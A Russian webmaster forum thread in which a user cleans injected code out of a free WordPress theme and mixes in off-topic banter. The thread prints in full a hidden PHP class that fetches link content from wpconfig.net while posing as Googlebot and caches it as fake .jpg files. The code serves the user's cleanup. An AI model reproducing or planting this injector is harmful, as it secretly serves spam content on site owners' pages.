Had

Had
Рейтинг
596
Регистрация
01.04.2014

longin, спасибо но ничего не помогло. Максимум чего добился, это, что на морде и рубриках всё норм, а когда заходишь в статьи нет сайдбара и нет панельки верхней чёрной ВП. Это получилось если удалять весь код ниже этого места:

<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
Отсюда ниже всё удалял.
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}



---------- Добавлено 05.03.2017 в 02:33 ----------

Всё гениальное просто. Нашёл чистый шаблон с другого сайта, заменил файлы функционс и коментс пхп и всё стало норм. Спасибо всем за попытки помочь. Но есть но, конец этого шаблона имеет вид:

'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}

// new code for image uploads

function my_js() { ?>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {
var formfield;

jQuery('#upload_image_button').click(function() {
formfield = jQuery('#upload_image').attr('name');
tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
return false;
});

window.original_send_to_editor = window.send_to_editor;
window.send_to_editor = function(html) {

if (formfield) {
imgurl = jQuery(html).attr('href');
jQuery('#upload_image').val(imgurl);
tb_remove();
formfield = '';

} else {
window.original_send_to_editor(html);
}
};

});
</script>
<?php }

function my_admin_scripts() {
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
add_action('admin_head', 'my_js');
}

function my_admin_styles() {
wp_enqueue_style('thickbox');
}

if (is_admin()) {
add_action('admin_print_scripts', 'my_admin_scripts');
add_action('admin_print_styles', 'my_admin_styles');
}
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');


?>

Это вредоносный код или норм? Параноя понимаете ли.

---------- Добавлено 05.03.2017 в 03:10 ----------

longin, спасибо Вам. Реально помогли, без файла "коментс" ничего бы не вышло. Я при замене пробовал менять только функтионс (с чистого шаба) сайдбар тоже пропадал, а когда заменил и коментс всё нормально заработало.

Фома:
Туфли на размер больше. Переодеть.

Причём тут туфли, ты на орех смотри бро. :))))

Sitealert:
Это не вирусы. У них это называется "партнерские ссылки".

Дурят нашего неопытного брата как хотят.

longin:
Название темы можешь скинуть? И откуда качал?

Могу.

themes/PurpleBlog

Откуда качал не помню, возможно отсюда http://bestskins.ru/wordpress-purple-blog/ или отсюда http://wp-templates.ru/?s=PurpleBlog давно дело было. Они почти все эти бесплатные шаблоны на всех сайтах с подобными вирусами. Я уже и так вагон ссылок почистил из шаблона.

ЕМНИП с этого сайта всё таки брал шаблон http://wp-templates.ru/

garik77:
Но если физики говорят о возможности существования параллельных миро

Физики уже во всю говорят, что физика по большей части уже неправильная наука.

zahar-zaharych:
Он уже старенький

Мой дед тоже был старенький, но в свои 64 года драл всё, что движется. :))

Бардо, эх не оценил картинку мою :(((

Вопрос номер 5 или хз какой там:

Сколько пар в Новосибирске Катей и Алексеев и как тот самый Алексей поймёт что привет именно ему?

***

И да накипело. Раньше очень любил русское радио, но уже реально бесит что болтают там очень много эти долбанные диджеи. Радио музыкальное или чего? Невозможно слушать уже их бред. Такая же петрушка почти на всех остальных радио.

---------- Добавлено 04.03.2017 в 23:08 ----------

DenisVS:
"Меня по-прежнему зовут Иван Петров" — как будто за время звучания песни имя могло измениться.

+ 1 бесят эти диджеи нереально.

Прочитал весь код выделенный жирным. Мало чего понял, но понял, что он весь вредносный (выделенная жирным часть).

На двух других моих сайтах файл функционс.пхп заканчивается так:

}
if ( function_exists( 'register_nav_menus' ) ) {
register_nav_menus(
array(
'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}
<?php



---------- Добавлено 04.03.2017 в 22:36 ----------

Sitealert:
В файлах темы надо искать.

Насколько я понимаю этот кусок вируса переплетён с кодом сайдбара. Надо удалить все этот код кроме той части которая отвечает за сайдбар.

---------- Добавлено 04.03.2017 в 22:40 ----------

Sitealert:
В файлах темы надо искать.

Есть отдельный файл сайдбара. Вот весь код:

<div class="sidecont rightsector">
<div class="sidebar">
<?php if(get_theme_option('socialnetworks') != '') {
?>
<div class="addthis_toolbox">
<div class="custom_images">
<a rel="nofollow" class="addthis_button_twitter"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/twitter.png" width="32" height="32" alt="Twitter" /></a>
<a rel="nofollow" class="addthis_button_delicious"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/delicious.png" width="32" height="32" alt="Delicious" /></a>
<a rel="nofollow" class="addthis_button_facebook"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/facebook.png" width="32" height="32" alt="Facebook" /></a>
<a rel="nofollow" class="addthis_button_digg"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/digg.png" width="32" height="32" alt="Digg" /></a>
<a rel="nofollow" class="addthis_button_stumbleupon"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/stumbleupon.png" width="32" height="32" alt="Stumbleupon" /></a>
<a rel="nofollow" class="addthis_button_favorites"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/favorites.png" width="32" height="32" alt="Favorites" /></a>
<a rel="nofollow" class="addthis_button_more"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/more.png" width="32" height="32" alt="More" /></a>
</div>

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>
</div> <?php
}
?>
<?php if(get_theme_option('video') != '') {
?>
<div class="sidebarvideo">
<ul> <li><h2 style="margin-bottom: 7px;">Популярное видео</h2>
<object width="284" height="240"><param name="movie" value="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="284" height="240"></embed>
</object>
</li>
</ul>
</div>
<?php
}
?>
<ul>
<?php
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
<li><h2><?php _e('Недавние записи'); ?></h2>
<ul>
<?php wp_get_archives('type=postbypost&limit=5'); ?>
</ul>
</li>
<li><h2>Архивы</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul>
</li>
<li>
<h2>Календарь</h2>
<?php get_calendar(); ?>
</li>
<?php wp_list_categories('hide_empty=0&show_count=1&depth=1&title_li=<h2>Рубрики</h2>'); ?>
<li id="tag_cloud"><h2>Теги</h2>
<?php wp_tag_cloud('largest=16&format=flat&number=20'); ?>
</li>
<?php include (TEMPLATEPATH . '/recent-comments.php'); ?>
<?php if (function_exists('get_recent_comments')) { get_recent_comments(); } ?>
<?php endif; ?>
</ul>
</div>
</div>

Я так понимаю выделенное жирным тоже можно грохнуть, лишнее и походу к нашей проблеме не относится. Файл называется сайдбар.пхп.

---------- Добавлено 04.03.2017 в 22:43 ----------

Удалил лишнее, теперь стало так:

<div class="sidecont rightsector">
<div class="sidebar">
<?php if(get_theme_option('socialnetworks') != '') {
?>
<div class="addthis_toolbox">
<div class="custom_images">
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>
</div> <?php
}
?>
<?php if(get_theme_option('video') != '') {
?>
<div class="sidebarvideo">
<ul> <li><h2 style="margin-bottom: 7px;">Популярное видео</h2>
<object width="284" height="240"><param name="movie" value="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="284" height="240"></embed>
</object>
</li>
</ul>
</div>
<?php
}
?>
<ul>
<?php
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
<li><h2><?php _e('Недавние записи'); ?></h2>
<ul>
<?php wp_get_archives('type=postbypost&limit=5'); ?>
</ul>
</li>
<li><h2>Архивы</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul>
</li>
<li>
<h2>Календарь</h2>
<?php get_calendar(); ?>
</li>
<?php wp_list_categories('hide_empty=0&show_count=1&depth=1&title_li=<h2>Рубрики</h2>'); ?>
<li id="tag_cloud"><h2>Теги</h2>
<?php wp_tag_cloud('largest=16&format=flat&number=20'); ?>
</li>
<?php include (TEMPLATEPATH . '/recent-comments.php'); ?>
<?php if (function_exists('get_recent_comments')) { get_recent_comments(); } ?>
<?php endif; ?>
</ul>
</div>
</div>
Sitealert:
Ну так смотрите код, которым выводится сайдбар, - чего ему там не хватает.

Ещё бы понимать какой код выводит сайдбар.

Sitealert:
где-то механизм запуска должен быть.

Был, целый файл, я его удалил как создал сайт.

Всего: 12025